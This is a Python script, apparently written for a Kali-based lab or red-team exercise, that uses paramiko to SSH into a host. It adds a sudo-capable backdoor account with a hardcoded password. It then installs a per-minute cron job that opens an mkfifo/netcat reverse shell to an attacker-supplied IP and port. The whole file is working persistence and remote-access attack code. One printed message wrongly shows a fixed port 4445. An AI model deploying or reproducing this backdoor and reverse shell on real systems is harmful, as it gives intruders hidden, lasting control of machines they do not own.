import paramiko
import getpass
import time

def ssh_add_user():
    host = input("Enter the IP address or hostname: ")
    port = int(input("Enter the SSH port (default is 22): ") or "22")
    ssh_user = input("Enter your SSH username: ")
    ssh_pass = getpass.getpass("Enter your SSH password: ")

    new_user = input("Enter the username to add: ")
    new_pass = "tunnelsALLday"  # You can change this if needed

    try:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(hostname=host, port=port, username=ssh_user, password=ssh_pass)

        print(f"Connected to {host} via SSH.")

        # Combine commands and use sudo -S to accept password via stdin
        command = (
            f"sudo -S bash -c \"useradd -m {new_user} && "
            f"echo '{new_user}:{new_pass}' | chpasswd && "
            f"usermod -aG sudo {new_user}\""
        )

        # Execute the command and send the sudo password to stdin
        stdin, stdout, stderr = client.exec_command(command)
        stdin.write(ssh_pass + '\n')
        stdin.flush()

        exit_status = stdout.channel.recv_exit_status()

        if exit_status == 0:
            print(f"User '{new_user}' added successfully with password '{new_pass}'.")
        else:
            print("Failed to add user:")
            print(stderr.read().decode()) 


        kali_ip = input("Enter your Kali VM IP address: ")
        kali_port = input("Enter your Kali VM listener port: ")

        # Cronjob command to run netcat every minute
        cron_line = f"* * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {kali_ip} {kali_port} >/tmp/f"
        cron_command = f"echo '{cron_line}' | sudo -S crontab -u {new_user} -"

        # Wrap in sudo -S and send password
        stdin, stdout, stderr = client.exec_command(f"sudo -S bash -c \"{cron_command}\"")
        stdin.write(ssh_pass + '\n')
        stdin.flush()

        exit_status = stdout.channel.recv_exit_status()
        if exit_status == 0:
            print(f"Cronjob added for user '{new_user}' to connect to {kali_ip}:4445 every minute.")
        else:
            print("Failed to add cronjob:")
            print(stderr.read().decode())

        client.close()
    except Exception as e:
        print(f"SSH connection failed: {e}")

if __name__ == "__main__":
    ssh_add_user()
